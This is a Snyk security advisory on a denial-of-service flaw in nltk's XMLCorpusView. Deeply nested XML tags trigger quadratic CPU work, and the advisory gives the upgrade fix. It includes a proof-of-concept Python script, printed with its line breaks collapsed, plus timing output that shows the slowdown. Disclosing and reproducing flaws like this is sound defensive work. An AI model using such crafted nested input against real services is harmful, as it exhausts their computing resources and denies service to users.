Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via XMLCorpusView.read_block in nltk/corpus/reader/xmldocs.py, which rebuilds the full root-to-node context path using "/".join(context) on every XML start tag while searching for a matching element. Because the context stack grows with nesting depth and the join is repeated once per start tag, a corpus file containing deeply nested tags forces O(n^2) pure-Python CPU work, where n is the number of nested elements. An attacker who can supply or influence an XML corpus file processed by an XMLCorpusView subclass (such as the nps_chat, framenet, bnc, mte, nkjp, or semcor readers) can exhaust a CPU core for an extended period, producing a denial of service.
Requires only the nltk package and its standard XML corpus reading path; no network or special configuration.
Reproduction drives a real SeekableUnicodeStreamReader and the real read_block with an nps_chat-style tagspec, comparing nested input (growing context depth) against a flat negative control with an identical tag count.
import time, io from nltk.corpus.reader.xmldocs import XMLCorpusViewdef measure(build, label): print(label) prev = None for n in (4000, 8000, 16000, 32000): body = build(n).encode("utf-8") # write to a temp file and open through an XMLCorpusView subclass tagspec import tempfile, os fd, path = tempfile.mkstemp(suffix=".xml") os.write(fd, b"<Session>" + body + b"</Session>"); os.close(fd) view = XMLCorpusView(path, "Session/Posts/Post") t = time.time() try: list(view) except Exception: pass dt = time.time() - t ratio = "" if prev is None else f"({dt/prev:.1f}x)" print(f" n={n:>6} time={dt:7.3f}s {ratio}") prev = dt os.remove(path)
measure(lambda n: "<a>"*n + "</a>"*n, "NESTED (context depth = n):") measure(lambda n: "<a></a>"*n, "FLAT (context depth = 1, negative control):")
NESTED (context depth = n):
n= 4000 time= 0.162s
n= 8000 time= 0.484s (2.99x)
n= 16000 time= 1.595s (3.29x)
n= 32000 time= 5.667s (3.6x) -> ratios trend toward 4x per 2x input = O(n^2)
FLAT (context depth = 1, negative control):
n= 8000 time= 0.145s
n= 16000 time= 0.293s (2.03x)
n= 32000 time= 0.580s (2.0x) -> 2x per 2x input = linear
Note: Requires only the nltk package and its standard XML corpus reading path, with no network or special configuration.